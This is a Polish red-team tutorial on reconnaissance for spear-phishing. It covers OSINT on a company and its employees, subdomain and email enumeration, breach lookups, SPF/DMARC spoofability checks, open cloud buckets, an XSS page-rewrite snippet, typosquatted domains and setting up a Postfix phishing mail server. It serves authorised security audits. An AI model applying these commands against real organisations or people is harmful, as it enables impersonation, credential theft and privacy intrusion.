Red Team Trickery

Ten artykuł zapewni Ci wskazówki dotyczące fazy wstępnej audytu Red Team. Został on podzielony na dwie części, aby ułatwić jego zrozumienie. Pierwsza część opisuje wykorzystanie OSINT (Open-Source Intelligence) do dostarczenia złośliwego oprogramowania, głównie w celu dokonywania precyzyjnych ataków phishingowych (Spear-Phishing) . Druga część dotyczy tworzenia złośliwego oprogramowania i korzystania z technik unikania jego wykrycia. Mamy nadzieję, że artykuł ten będzie zarówno pouczający, jak i interesujący!

I. Dostarczanie złośliwego oprogramowania

Istnieje wiele sposobów dostarczania złośliwego oprogramowania ofiarze. Najistotniejszym czynnikiem tutaj kreatywność atakującego. W dalszej części artykułu przyjrzymy się bliżej phishingowi, poznamy też kilka najpopularniejszych metod na dostarczanie złośliwego oprogramowania.

  1. Phishing: Atakujący wysyła zwodnicze wiadomości do ofiar, nakłaniając je, aby kliknęły w złośliwe linki lub otworzyły zainfekowane załączniki.
  2. USB Drops: Technika używana przez atakujących, polegająca na celowym pozostawieniu zainfekowanych pendrive’ów w miejscach publicznych lub w pobliżu potencjalnych ofiar. Kiedy ofiara podłączy pendrive’a do komputera, złośliwe oprogramowanie zostaje aktywowane, co daje atakującemu inicjalny dostęp do systemu.
  3. Exploiting Vulnerabilities: Atakujący wykorzystuje podatności w oprogramowaniu lub w urządzeniach sieciowych, których używa ofiara, a następnie infekuje system złośliwym oprogramowaniem.
  4. Social Engineering: Atakujący manipuluje ofiarą, aby zdobyć poufne informacje lub fizyczny dostęp do ograniczonej strefy w budynku firmy. Można to osiągnąć na wiele sposobów, na przykład za pomocą telefonu (oszustwa głosowe) lub wiadomości tekstowych (phishing SMS).
  5. Watering Hole: Atakujący identyfikuje strony internetowe często odwiedzane przez pracowników organizacji celowej i infekuje je złośliwym oprogramowaniem.
  6. Supply Chain Attacks: Atakujący może zaatakować dostawców lub partnerów organizacji i skompromitować ich systemy lub oprogramowanie.

Phishing

Sztuka tworzenia iluzji wiarygodności.

Skuteczny atak phishingowy zawsze zaczyna się od zbierania informacji o celu. Każda organizacja jest inna. Co więcej, pracownicy w organizacji różnią się między sobą . Dlatego kluczowym elementem sukcesu phishingu jest dobry rekonesans.

Rozpoznanie

Rozpoznanie ma za zadanie zebranie jak najwięcej informacji o celu. Obejmuje ono informacje techniczne, infrastrukturę oraz dane dotyczące firmy i jej pracowników. Istnieją dwie metody zbierania informacji:

  1. Pasywna – Cicha metoda, bez bezpośredniej interakcji z firmą docelową.
  2. Aktywna – Bardziej agresywna metoda, polegająca na bezpośredniej interakcji z firmą docelową.

Zebrane informacje pomogą Ci ulepszyć atak phishingowy, przekształcając go w spear phishing.

Pasywny Rekonesans (OSINT)

Metoda skupia się na gromadzeniu informacji o firmie docelowej oraz jej pracownikach.

Zasoby i gdzie ich szukać (dokładnie wyjaśnione w sekcji NARZĘDZIA I METODY poniżej):

  • Strona firmy,
  • Wyszukiwarki internetowe,
  • Portale społecznościowe

1. Informacje o firmie, które mogą być użyteczne:

  • Usługi – Czym zajmuje się ta firma?
  • Lokalizacja – Gdzie znajduje się firma?
  • Wielkość – Jak duża jest firma?
  • Struktura – Jaki jest układ organizacyjny firmy i jak różne działy współpracują ze sobą?
  • Renoma – Jak firma jest znana na świecie?
  • Grupa docelowa – Dla kogo firma świadczy swoje usługi?
  • Marketing – Jak firma reklamuje się wśród klientów?
  • Zasoby – Wszystkie zasoby firmy (biura, strony internetowe, infrastruktura sieciowa itp.)
  • Bezpieczeństwo – Jakie środki bezpieczeństwa są wdrożone dla zasobów firmy?
  • Partnerzy – Z kim firma współpracuje?
  • Oferty pracy – Czy firma prowadzi rekrutację na jakieś stanowiska?

2. Informacje o pracownikach, które mogą być przydatne:

  • Stanowisko – Jakie role i obowiązki mają pracownicy?
  • Zależność – Jakie zależności występują pomiędzy pracownikami?
  • Dane kontaktowe – Numer telefonu, adres e-mail, miejsce zamieszkania, ksywki itp.
  • System operacyjny – Jakiego systemu operacyjnego pracownik używa do pracy?
  • Zasoby – Czy pracownik posiada stronę internetową, bloga, konto w mediach społecznościowych lub korzysta z określonej aplikacji?
  • Zainteresowania – Jakie są osobiste hobby, pasje lub obszary ciekawości pracowników poza ich obowiązkami zawodowymi?
  • Powiązania – Z kim pracownik jest związany?

Narzędzia i metody OSINT

Istnieje doskonałe repozytorium zawierające listę narzędzi i zasobów do pozyskiwania informacji z otwartych źródeł dostępnych pod tym linkiem. Znajdziesz tam różne narzędzia przeznaczone do różnych celów.

Tym, które prawdopodobnie najbardziej Ci się spodoba jest SpiderFoot. Jest to narzędzie automatyzacji OSINT’u, integrujące różne źródła danych i wykorzystujące wiele metod ich analizy, ułatwiając nawigację po nich. Możesz szybko zacząć go używać, pobierając go i uruchamiając z użyciem Pythona 3, jak poniżej:

git clone https://github.com/smicallef/spiderfoot.git
cd spiderfoot
pip3 install -r requirements.txt
python3 ./sf.py -l 127.0.0.1:5001

Następnie możesz uzyskać dostęp do panelu kontrolnego, który powinien znajdować się pod adresem: http://127.0.0.1:5001/ i rozpocząć zbieranie informacji, wybierając cel i rodzaj skanu.

Po pewnym czasie wyniki skanu będą dostępne w zakładce „Scans”:

Narzędzie zbierze dla nas wiele informacji do przejrzenia, takich jak adresy e-mail, nazwy użytkowników, numery telefonów, domeny i wiele więcej:

Dobrze jest zacząć od zakładki „correlation” (korelacja). Na poniższym obrazku można zobaczyć jeden z potencjalnych problemów znalezionych w AWS (więcej o tym, jak go znaleźć i użyć, w sekcji „CLOUDS” poniżej).

Jednak, jak w przypadku każdego automatycznego narzędzia, lepsze wyniki można osiągnąć poprzez wyszukiwanie manualne. Oto kilka technik, które warto rozważyć:

  1. Search Engines: Wyszukaj imię i nazwisko pracownika za pomocą popularnych wyszukiwarek internetowych, takich jak Google, Bing lub DuckDuckGo. Szukaj wszelkich publicznie dostępnych informacji, takich jak profile mediów społecznościowych, publikacje online lub wzmianki w artykułach prasowych.
  2. Social Media: Przeszukaj platformy mediów społecznościowych, takie jak LinkedIn, Facebook, Twitter, Instagram lub fora zawodowe. Sprawdź profile pracowników pod kątem publicznie dostępnych informacji dotyczących ich doświadczenia zawodowego, połączeń czy zainteresowań.
  3. Company Website: Odwiedź oficjalną stronę organizacji i poszukaj imienia pracownika w sekcjach „O nas”, „Zespół” lub „Pracownicy”. Szukaj informacji o ich stanowisku, obowiązkach lub innych istotnych szczegółach.
  4. Professional Networks: Sprawdź branżowe sieci zawodowe lub społeczności internetowe, w których aktywny jest pracownik. Mogą to być platformy takie jak GitHub (dla programistów), Behance (dla projektantów), Stack Overflow (dla programistów), grupy Discord i Reddit.
  5. Public Records: Wyszukaj publiczne rejestracje lub bazy danych rządowe, które mogą zawierać informacje dotyczące pracownika, takie jak posiadanie nieruchomości, licencje, certyfikaty zawodowe lub akta sądowe.
  6. Local Media: Przeszukaj lokalne strony internetowe z wiadomościami, gazety lub publikacje regionalne w poszukiwaniu artykułów lub wywiadów z udziałem pracownika lub organizacji, dla której pracuje.
  7. Web Archives: Wykorzystaj usługi archiwizacji stron internetowych, takie jak Wayback Machine (archive.org), aby zobaczyć starsze wersje witryn internetowych. Może to pomóc odkryć historyczne informacje poza obecną wersją strony.

Dorking

Jeśli chodzi o wyszukiwarki internetowe, warto znać poniższe operatory wyszukiwania (znane również jako „dorks”):

  • inurl: Adresy URL zawierające określone słowo kluczowe.
  • allintext: Tekst na stronie internetowej.
  • filetype: Konkretny typ pliku.
  • intitle: Wybrane słowa kluczowe w tytule strony.
  • site: Wyświetla wyniki tylko dla określonych domen.
  • cache: Współpracuje z parametrem site, wyświetla zapisane lub starsze wersje strony.
  • (|): Operator logiczny, wyświetla wyniki zawierające dowolne z dwóch określonych słów kluczowych.
  • (*): Operator wieloznacznik, wyszukuje strony zawierające cokolwiek powiązanego z twoim terminem wyszukiwania.
  • (-): Wyklucza niechciane wyniki z wyszukiwania.

Przykłady wykorzystania „dorków”

site:docs.google.com intitle:(cv|resume|curriculum vitae|job application)
inurl:linkedin.com "view my resume" TARGET_COMPANY_NAME
filetype:pdf "afine"
intext: "@afine.com" inurl:github.com
(site:drive.google.com OR site:docs.google.com OR site:cloud.google.com OR site:storage.googleapis.com OR site:docs.microsoft.com OR site:amazonaws.com) AND filetype:pdf "report"
site:pastebin.com [email protected]

Na stronie Exploit Database znajdziesz więcej dorków. Istnieje także świetny artykuł na blogu Security Trails, który warto przeczytać.

Oprócz wyszukiwarki google warto również sprawdzić:

  • https://www.bing.com/
  • https://yahoo.com/
  • https://duckduckgo.com/
  • https://ask.com/
  • https://www.baidu.com/
  • https://www.ecosia.org/
  • https://www.aol.com/
  • https://archive.org/
  • https://yandex.ru/

Pasywny Rekonesans Subdomen

Oprócz techniki Dorkingu, istnieje wiele narzędzi i usług do zbierania subdomen docelowego przedsiębiorstwa bez „dotykania” go. Polecam do tego zadania narzędzia amass i subfinder, a także nowy resolver z repozytorium BonJarber na GitHubie. Możesz użyć poniższego fragmentu kodu, aby szybko zbierać subdomeny należące do docelowego przedsiębiorstwa, które mogą zawierać dodatkowe pomocne informacje do phishingu:

DOMAIN=afine.com
wget https://raw.githubusercontent.com/BonJarber/fresh-resolvers/main/resolvers.txt -O resolvers.txt > /dev/null 2>&1 || echo -e "8.8.8.8\n8.8.4.4" >> resolvers.txt
subfinder -silent -recursive -d "$DOMAIN" -o subfinder.txt
amass enum --passive -d "$DOMAIN" -o amass.txt -rf resolvers.txt

Dla optymalnego korzystania z narzędzia zaleca się skonfigurowanie kluczy API Subfinder w pliku (~/.config/subfinder/config.yaml):

  • https://www.virustotal.com/
  • https://api.passivetotal.org/
  • https://securitytrails.com/
  • https://censys.io/
  • https://app.binaryedge.io/
  • https://account.shodan.io/
  • https://urlscan.io/
  • https://www.zoomeye.org/

Szukanie odnośników

Kolejnym świetnym sposobem na gromadzenie informacji o domenie docelowej jest analiza backlinków (odnośników zwrotnych) – linki z zewnętrznych stron internetowych do innych stron. Możesz skorzystać w tym celu skorzystać z:

  • https://ahrefs.com/backlink-checker
  • https://www.semrush.com/analytics/backlinks/
  • https://app.neilpatel.com/en/seo_analyzer/backlinks

Przykłady:

Możesz gromadzić nie tylko subdomeny , ale również inne informacje, takie jak imię pracownika, pełne ścieżki URL lub partnerzy firmy.

Adresy e-mail (Pracownicy)

Do wyszukania adresów e-mail należących do firmy istnieje świetne narzędzie o nazwie theHarvester:

theHarvester -d afine.com -b all

Jeśli znajdziesz jakieś pseudonimy związane z pracownikiem docelowym, możesz użyć mailcat do wyszukania adresów e-mail utworzonych przy użyciu tego pseudonimu:

python mailcat.py --tor kmazurek

Jeśli znajdziesz jakieś adresy e-mail należące do celu, zawsze sprawdzaj związane z nimi informacje. Jednym ze sposobów osiągnięcia tego w sposób automatyczny jest narzędzie o nazwie mosint.

Dla optymalnego korzystania z narzędzia, zaleca się skonfigurowanie następujących kluczy API:

  • https://hunter.io/api-keys
  • https://emailrep.io/key
  • https://intelx.io/account?tab=developer
  • https://psbdmp.ws/me
  • https://rapidapi.com/rohan-patra/api/breachdirectory
 mosint set hunter API_KEY
 mosint set emailrep API_KEY
 mosint set intelx API_KEY
 mosint set psbdmp API_KEY
 mosint set breachdirectory API_KEY

Użyj poniższego polecenia, aby sprawdzić konkretne adresy email:

mosint [email protected]

W wyniku otrzymasz powiązane adresy email, konta w mediach społecznościowych, wycieki ze stron typu paste bin oraz informacje, czy dany email pojawił się w bazach ujawnionych w wyniku wycieków danych. Następnym krokiem jest sprawdzenie reputacji tego adresu email.

  • https://emailrep.io/

Przykład:

To samo można osiągnąć z poziomu CLI:

curl -s emailrep.io/[email protected]

Należy zwrócić uwagę, aby ustawić opcję „spoofable” na True. Więcej na ten temat zostanie opisane w sekcji SPF & DMARC poniżej. Zawsze sprawdzaj reputację adresu email przed przeprowadzeniem ataku podszywania się pod niego (email spoofing), ponieważ niska reputacja może spowodować, że email zostanie łatwo zablokowany lub uznany za SPAM.

Metadane w plikach (Pracownicy)

Często zdarza się, że firmy udostępniają różne rodzaje plików, takie jak raporty, zdjęcia, oferty pracy i aktualizacje związane z firmą. Te pliki zawierają metadane, takie jak nazwy użytkowników, daty, wersje oprogramowania i współrzędne geograficzne, które można wyodrębnić z tych plików za pomocą narzędzia exiftool.

Ponadto, można użyć techniki wyszukiwania obrazu, aby znaleźć inne strony internetowe, które używają konkretnych zdjęć, polecam tutaj te dwie wyszukiwarki:

  • https://images.google.com/
  • https://tineye.com/

Dalej w tym artykule znajdziesz informacje, jak zidentyfikować storage bucket w chmurze, używając plików hostowanych przez firmę docelową.

Serwisy społecznościowe

Wykorzystaj sieci społecznościowe, zwłaszcza LinkedIn. Możesz dowiedzieć się wiele o wielkości firmy, pracownikach oraz szczegółowych informacjach dotyczących konkretnych pracowników.

Informacje które można zdobyć korzystając z LinkedIn:

Inne przydatne strony:

  • https://twitter.com/
  • https://www.instagram.com/
  • https://www.youtube.com/
  • https://facebook.com/
  • https://www.xing.com/
  • https://www.monster.com/
  • https://indeed.com/
  • https://www.glassdoor.com/
  • https://www.trustpilot.com/
  • https://wikipedia.org/
  • https://github.com/

WYCIEKI (LEAKS)

Dobrym pomysłem jest sprawdzenie baz kodu dla każdego znalezionego adresu e-mail, nazw użytkowników oraz domeny. Jeśli masz szczęście, możesz znaleźć pliki konfiguracyjne, nazwy użytkowników i hasła, które można wykorzystać bezpośrednio do ataków metodą „password spraying” lub pośrednio jako pretekst do skontaktowania się z działem IT.

  • https://github.com/
  • https://gitlab.com/
  • https://code.google.com/
  • https://bitbucket.org/
  • https://searchcode.com/

Dodatkowo, sprawdź czy cel nie był częścią wycieku w przeszłości:

  • https://haveibeenpwned.com/
  • https://monitor.firefox.com/
  • https://www.dehashed.com/

Przydatne narzędzie do automatyzacji zadań h8mail.
Nie zapomnij ustawić odpowiednich API KEYS.
Aby wygenerować plik konfiguracyjny szablonu, użyj poniższego polecenia:

h8mail -g

Następnie możesz przekazać listę celów, wskazując plik konfiguracyjny dla kluczy API i zapisać wynik do pwned_targets.csv.

h8mail -t targets.txt -c config.ini -o pwned_targets.csv

Przykładowe skanowanie:

Rekonesans infrastruktury

Możesz zbierać pomocne informacje o infrastrukturze firmy, korzystając z narzędzi takich jak whois, dig lub host. Istnieją jednakże także inne narzędzia, obrazujące zebrane informacje w bardziej przyjazny użytkownikowi sposób:

Pierwszym narzędziem jest wtfis. Aby zacząć korzystać z tego narzędzia, będziesz potrzebować poniższych kluczy API, które możesz uzyskać za darmo (z wyjątkiem Shodan):

  • https://www.virustotal.com/gui/home/upload
  • https://community.riskiq.com/
  • https://www.ip2whois.com/
  • https://www.greynoise.io/
  • https://www.shodan.io/

Następnie utwórz plik ~/.env.wtfis o poniższej zawartości (tylko Virustotal jest wymagane, aby narzędzie działało):

# Example ~/.env.wtfis file
# Don't forget to chmod 400!
VT_API_KEY=KEY_HERE
IP2WHOIS_API_KEY=KEY_HERE
SHODAN_API_KEY=KEY_HERE
GREYNOISE_API_KEY=KEY_HERE

Przykład:

Innym narzędziem, które warto sprawdzić, jest DNSDumpster, gdzie możesz jednym kliknięciem zmapować strukturę pojedynczej domeny firmy:

Zobaczysz różne informacje o właścicielach IP, lokalizacjach hostów i serwerach DNS w przyjaznej dla użytkownika formie.

SPF & DMARC

Jeśli chodzi o serwery DNS, ważne jest, aby upewnić się, że rekordy SPF i DMARC są poprawnie skonfigurowane, aby uniknąć padnięcia ofiarą ataków phishingowych. SPF to część rekordu DNS, która określa, czy określony adres IP jest upoważniony do wysyłania wiadomości e-mail w imieniu określonej domeny. Rekord SPF można skonfigurować w taki sposób, aby:

  • hardfail – odrzuca wiadomości e-mail, które są podejrzane o to że mogą być podrobione lub spam.
  • softfail – e-maile są akceptowane/pokazywane użytkownikowi z ostrzeżeniem jako podejrzane/spam..
  • neutral – wszystkie e-maile są akceptowane/bez oznaczenia, a decyzja o podejrzaności lub odrzuceniu pozostaje na serwerze docelowym.

DMARC wykorzystuje SPF, gdy nie może potwierdzić, że e-mail jest autentyczny i może zostać ustawiony na:

  • reject – odrzuć, nie dostarczaj e-maila.
  • quarantine – przenieś e-mail do folderu spamu.
  • none – brak działań, nie podejmuj żadnych akcji.

Błędna konfiguracja tych pól może pozwolić na wysyłanie e-maili w imieniu firmy z dowolną treścią. Przydatnym narzędziem do sprawdzenia tego jest mailspoof:

mailspoof -d TARGET_DOMIAN

Przykład błędnej konfiguracji:

[
  {
    "domain": "afine.com",
    "issues": [
      {
        "code": 7,
        "title": "Lax DMARC policy",
        "detail": "The DMARC policy is set to 'none'. If the DMARC policy is neither 'reject' nor 'quarantine', spoofed emails are likely to be accepted."
      },
      {
        "code": 8,
        "title": "Lax DMARC subdomain policy",
        "detail": "The DMARC policy for subdomains is set to 'none'. If the DMARC policy is neither 'reject' nor 'quarantine', spoofed emails from subdomains are likely to be accepted."
      }
    ]
  }
]

Inne narzędzie o podobnym zastosowaniu, ale dostępne online, to strona internetowa caniphish:

CLOUDS

Jeśli firma korzysta z dostawcy usług cloudowych, złośliwe oprogramowanie może być dostarczone z jego infrastruktury, jeżeli kontener nie jest odpowiednio skonfigurowany. Poniżej znajdują się dostawcy usług oraz odpowiadające im nazwy i adresy URL otwartego cloud storage, dzięki którym można je rozpoznać:

  • Google Cloud Platform (GCP) – Google Storage Bucket:
https://<BUCKET_NAME>.storage.googleapis.com/
https://www.googleapis.com/storage/v1/b/<BUCKET_NAME>/iam
  • Digital Oceans – Spaces:
https://<BUCKET_NAME>.<REGION>.digitaloceanspaces.com
  • Microsoft Azure – Block Blob:
https://<BUCKET_NAME>.core.windows.net/<CONTAINER>/
https://<BUCKET_NAME>.blob.core.windows.net/<CONTAINER>/
  • Amazon Web Services (AWS) – S3 Bucket:
https://<BUCKET_NAME>.s3.amazonaws.com
https://s3-<REGION>.amazonaws.com/<COMPANY_NAME>

Zauważ, że każdy może utworzyć swoją nazwę dla pożądanego cloud storage. To zachowanie jest korzystne podczas ataku, ponieważ można użyć infrastruktury chmurowej do umieszczenia na niej złośliwego oprogramowania bez żadnych problemów z konfiguracją dostępu do kontenera. Pracownik widzący link od Amazona lub Google’a jest mniej podejrzliwy. Jednak jeśli celujesz w dział IT, lepszym wyborem będzie źle skonfigurowana chmura.

Najpierw sprawdź, czy firma korzysta z jakiegokolwiek dostawcy chmury. Możesz użyć ip2provider, aby sprawdzić, jaki dostawca chmury hostuje określony adres IP.

cat ip_addresses.txt | ./ip2provider.py

Możesz również zidentyfikować cloud storage, analizując stronę internetową firmy, aby sprawdzić czy jakiś dostawca chmury udostępnia do pobrania zawartość. Ponadto, jeśli nazwa pliku jest unikalna (na przykład UUID), możesz ją wyszukać za pomocą wyszukiwarek internetowych, aby znaleźć storage bucket.

inurl:s3.amazonaws.com "UNIQUE_FILENAME" 

Na koniec, istnieje strona internetowa GrayHatWarfare, która jest narzędziem online do wyszukiwania otwartych storage buckets w chmurze i ich archiwizowania.

Gdy już masz listę storage buckets, możesz sprawdzić, czy są one zapisywalne, aby móc dostarczać z nich złośliwe oprogramowanie, a jeśli są odczytywalne, możesz zdobyć więcej informacji o celu. Oto kilka automatycznych narzędzi do kontenerów w chmurze, które możesz wykorzystać do dalszych badań:

  • AWS: https://purpleleaf.io/s3-scanner/#
  • GCP: https://github.com/RhinoSecurityLabs/GCPBucketBrute
  • Azure: https://github.com/cyberark/blobhunter
  • DigitalOcean: https://github.com/appsecco/spaces-finder

Przykład z użycia Purple Leaf:

Przykład użycia GCPBucketBrute:

Podsumowanie – OSINT

Wymienione powyżej punkty NIE SĄ KROKAMI KTÓRE TRZBEA WYKONAĆ JEDEN PO DRUGIM. Na przykład, jeśli w trakcie procesu OSINT znalazłeś nową subdomenę w jednym z plików PDF firmy, powinieneś również przeprowadzić badania tej domeny. Jeśli znajdziesz kolejny adres e-mail, powinieneś ponownie przeprowadzić badania dotyczące tego adresu e-mail. Zawsze powinieneś być elastyczny i dostosowywać metodologię do uzyskanych informacji.

Ostatnią wskazówką dotyczącą OSINT jest rozszerzenie o nazwie SingleFile, które umożliwia zapisanie całej strony internetowej (wszystkich obrazów, linków itp.). Aby skorzystać z tego rozszerzenia, kliknij ikonę podczas przeglądania strony docelowej, aby zapisać ją na dysku lokalnym:

Możesz przechowywać wszystkie pliki HTML w jednym katalogu, a następnie można je analizować w ten sposób, aby szybko wyfiltrować określone informacje:

cat *.html | html2text | grep "afine.com\|Karol Mazurek"

Aktywny rekonesans

Infrastruktura

Zgromadziłem narzędzia do aktywnego rekonesansu w moim projekcie Crimson. Aby przeprowadzić rozpoznanie za pomocą wspomnianego powyżej narzędzia, użyj poniższej komendy:

docker pull karmaz95/crimson:v3
docker run --name crimson -it karmaz95/crimson:v3

Później w dockerowym kontenerze wpisz:

c_1 -x -d -j "afine.com"

Po kilku godzinach powinieneś uzyskać znaczną ilość danych do przetworzenia i, jeśli masz szczęście, kilka błędów przydatnych do phishingu (więcej o tym później). Poniżej możesz zobaczyć wszystkie wygenerowane przez narzędzie listy dostępne w kontenerze Docker pod adresem „/root/bounty/$DOMAIN”:

  • live.txt – AKTYWNE SUBDOMENY
  • status_live.txt – KODY USŁUG HTTP
  • hosthunter.txt – NAZWY WIRTUALNYCH HOSTÓW
  • ip.txt – ADRESY IP I ODPOWIEDNIE IM DOMENY
  • urls.txt – WSZYSTKIE ZINDEKSOWANE ADRESY URL
  • status_live.txt – KODY SUBDOMEN HTTPS / HTTP
  • screenshots/ – KODY + ZDJĘCIA EKRANU
  • subjack.txt – [VULN] ZAJĘCIE DOMENY
  • cors_scan.txt – [VULN] NIEPOPRAWNA KONFIGURACJA CORS
  • nuclei.txt – [VULN] SKAN WZORCÓW
  • log4j.txt – [VULN] SKAN PODATNOŚCI LOG4J
  • dnsrecon.txt – [VULN] PRZEKAZYWANIE STREFY DNS

Więcej o narzędziu możesz dowiedzieć się z tego linku.

Ludzie

Podczas aktywnego rekonesansu (w przypadku pracowników) sytuacja jest bardziej skomplikowana. Nie można po prostu uruchomić narzędzia i sprawdzić wyników. Po OSINT, powinieneś zgromadzić wiele adresów e-mail, imion i numerów telefonów. W trakcie aktywnego rekonesansu możesz zweryfikować poprawność tych danych, wykonując następujące czynności:

  • Pisanie maila
  • Napisanie na czacie
  • Połączenie telefoniczne

To pomaga wykorzystać triki związane z inżynierią społeczną, aby manipulować pracownikami i uzyskać potrzebne informacje. Przykładem z życia może być rozmowa telefoniczna od „banku”, który chce „potwierdzić” dane osobowe w celu weryfikacji odbiorcy telefonu.

Warto próbować enumerować adresy oraz nazwy użytkowników w panelach logowania organizacji. Potwierdzaj adresy e-mail i znajduj nowe, różniące się odpowiedziami dla istniejących i nieistniejących kont.

Inną metodą weryfikacji adresów e-mail, które udało Ci się zdobyć lub znalezienia nowych, jest przeprowadzenie ataku typu brute force na serwery SMTP firmy docelowej przy użyciu narzędzia smtp-user-enum.

smtp-user-enum -M EXPN_or_VRFY_or_RCPT -U USERNAME_LIST.txt mail.example.tld 25

Podatności

Co najmniej trzy podatności w aplikacjach internetowych można szybko wykorzystać, aby uczynić twoje ataki bardziej przekonującymi:

  • Subdomain takeover
  • Cross Site Scripting (XSS)
  • Open Redirect

Ponieważ celem tego artykułu nie jest opisywanie znajdowania podatności w aplikacjach internetowych, ograniczę się tylko do przedstawienia niektórych narzędzi i sposobów automatyzacji tego procesu na większą skalę.

Subdomain takeover można sprawdzić przy użyciu narzędzia o nazwie: subjack:

subjack -w subdomains.txt -t 10 -timeout 30 -o results.txt -ssl

Poszukiwanie podatności typu XSS i Open Redirects można zautomatyzować używając Dalfox:

cat urls.txt | dalfox pipe --mass --silence --no-color -o dalfox.txt

Dlaczego te podatności są istotne? Odbieranie subdomen może umożliwić atakującemu zastąpienie zawartości domeny firmy swoją własną. To samo dotyczy ataków typu Cross Site Scripting (XSS), które mogą być osiągnięte przez wstrzyknięcie złośliwego kodu JavaScript:

body = document.getElementsByTagName("body")[0]
body.innerHTML = "<h1>YOUR_CUSTOM_HTML_CONTENT</h1>"

Z drugiej strony, Open Redirect może być wykorzystany do przekierowywania osób z prawdziwych stron internetowych na fałszywe strony w celu przeprowadzenia ataków phishingowych.

Jeśli znalazłeś się w sytuacji, gdzie podczas rekonesansu gromadzisz dużo danych (co zdarza się prawie za każdym razem) i chcesz je sprawdzić w poszukiwaniu sekretów, takich jak klucze (np. klucz dostępu AWS, klucz udziału Azure lub klucze SSH) lub hasła, wtedy możesz rozważyć użycie narzędzia DumpsterDiver.

Podsumowanie – aktywny rekonesans

python3 DumpsterDiver.py -p /path/to/files/directory

Jeśli masz wiele domen w zakresie, łatwiej będzie zrobić zrzuty ekranów za pomocą narzędzia takiego jak gowitness, aby szybciej je przejrzeć.

gowitness file -f urls.txt
gowitness report serve

Przykład z użycia narzędzia gowitness:

Zwróć uwagę na panele logowania. Pomogą one odtworzyć Ci prawdziwy panel logowania w połączeniu z XSS, który będzie używany jako strona do przekonującego phishingu i kradzieży hasła.

Teraz, mając zebrane wszystkie dane, możesz tworzyć scenariusze spear phishingu.

Budowanie scenariuszy ataku

Wybór kanału komunikacji

W zależności od celu i wyników rozpoznania, powinieneś teraz mieć kilka opcji co do kanału dostarczenia złośliwego oprogramowania. Poniżej znajdziesz niektóre z nich, które można wykorzystać do wysłania „dropper-a”:

  • Aplikacje czatowe (Messenger, WhatsApp, Signal, Telegram, Slack)
  • Platformy społecznościowe (Twitter, LinkedIn, Facebook, Instagram, Reddit)
  • Funkcje na stronie internetowej docelowej firmy (czaty, formularze kontaktowe, formularze do przesyłania plików)
  • Usługi pocztowe

Poznaj swojego przeciwnika

W zależności od wybranego kanału, zapoznaj się z zastosowanymi środkami zaradczymi mającymi na celu ochronę przed atakiem. Na przykład, jeśli próbujesz wysłać plik za pomocą LinkedIn, utwórz najpierw dwa konta i sprawdź, jakie typy plików możesz wysyłać za pomocą wbudowanego czatu.

To samo dotyczy aplikacji do czatowania, takich jak WhatsApp. Najpierw sprawdź, jakie typy plików możesz wysyłać za pomocą WhatsApp, aby dostosować swój plan działania.

Podczas korzystania z funkcji na stronie internetowej firmy, takich jak formularze kontaktowe, badaj anomalie w kodzie odpowiedzi i treści odpowiedzi za pomocą narzędzia BurpSuite.

Scenariusz

Dla potrzeb tego artykułu wybiorę usługę poczty elektronicznej jako kanał komunikacji.

Załóżmy, że podczas rozpoznania zidentyfikowaliśmy trzy działy firmy AFINE: IT, HQ i SALES. Firma używa domeny afine.com do swojej usługi poczty elektronicznej, a polityka DMARC jest źle skonfigurowana i ustawiona na NONE. Odkryliśmy także, że firma AFINE używa laptopów Thinkpad X1 z najnowszym systemem Windows 11.

Środowisko phishingowe

Poczta elektroniczna

Dla naszego scenariusza zaleca się posiadanie co najmniej dwóch serwerów wirtualnych (VPS) i domen z usługami SMTP i HTTP. Ponieważ nasz atak może zostać zablokowany, lepiej zminimalizować ryzyko. Nazwa domeny może również się zmieniać w zależności od scenariusza phishingowego – więcej na ten temat za chwilę.

Wybór dostawcy VPS

Możesz wybierać spośród wielu dostawców, takich jak AWS, Microsoft Azure, Digital Ocean, Vultr czy Linode. Możesz skorzystać z witryny VPS Benchmark, aby porównać różne VPS i dokonać wyboru.

Najlepiej wybrać VPS w regionie, w którym znajduje się infrastruktura docelowego celu. Dodatkowo, zwróć uwagę na otwarte porty przychodzące i wychodzące. Wielu dostawców blokuje możliwość uruchomienia serwera SMTP. Jednym z takich dostawców jest Digital Ocean (umożliwiają to po 60 dniach użytkowania po skontaktowaniu się z obsługą techniczną).

Domena

Istnieje wiele technik wybierania nazwy domeny dla ataku phishingowego. Jeśli atakujesz Afine HQ, na przykład możesz stworzyć „nową stronę zarządzania” i użyć podobnej nazwy domeny jak „management-afine.com”.

Kolejną techniką jest typosquatting – zamiana litery w nazwie domeny na podobną literę: „afime.com”. Doskonałym narzędziem do tego jest urlcrazy:

dnstwist --unregistered afine.com

Jeśli atakujesz dział sprzedaży Afine, możesz stworzyć fałszywą firmę działającą w tej samej branży lub potrzebującą kupić lub sprzedać ich usługi. W tym przypadku nazwa domeny powinna być inna. Może prowadzić ofiarę do typu działalności, co może budzić większe zaufanie, na przykład przez dodanie przyrostka „cyber” lub „security” w nazwie domeny.

Wreszcie, możesz kupić zaufaną domenę, która wygasła, ale najpierw powinieneś sprawdzić SEO nazwy domeny, aby upewnić się, jak jest ona kategoryzowana, używając jednej z poniższych usług:

  • https://urlfiltering.paloaltonetworks.com/query/
  • https://www.fortiguard.com/webfilter

Budowanie serwera SMTP na VPS

  • Zainstaluj postfix
sudo DEBIAN_PRIORITY=low apt install postfix
  • Ustaw Firewall rules
sudo ufw allow Postfix
  • Zrestartuj postfix
service postfix restart
  • zainstaluj mail klienta
sudo apt install swaks
  • Ustaw nazwę hosta VPS na nazwę domeny, którą zakupiłeś do ataku:
sudo hostnamectl set-hostname YOUR_DOMAIN
  • Ustaw nazwę hosta w pliku /etc/hosts (na przykład management-afine.com) -> sudo vi /etc/hosts
127.0.1.1 management-afine.com
  • Zabezpiecz serwer poczty postfix za pomocą Let’s Encrypt.
sudo apt install certbot
sudo certbot certonly --standalone -d YOUR_DOMAIN_NAME

Interaktywny skrypt konfiguracyjny prosi użytkownika o odpowiedzi na pytania, aby zapewnić prawidłową konfigurację certyfikatu.

  • Wybierz Tak, aby użyć domyślnego pliku vhost i ręcznie podać ustawienia.
  • Wprowadź nazwę domeny serwera pocztowego, na przykład mail.example.com.
  • Podczas pierwszej instalacji na danym hoście musisz podać adres e-mail kontaktowy.
  • Zapoznaj się z regulaminem Let’s Encrypt i wybierz Zgadzam się, aby kontynuować.
  • Następnie wybierz, czy chcesz używać protokołu HTTP, HTTPS lub wymagać, aby cały ruch był zaszyfrowany, wybierając odpowiednią opcję (Easy lub Secure) i potwierdzając wybór OK.

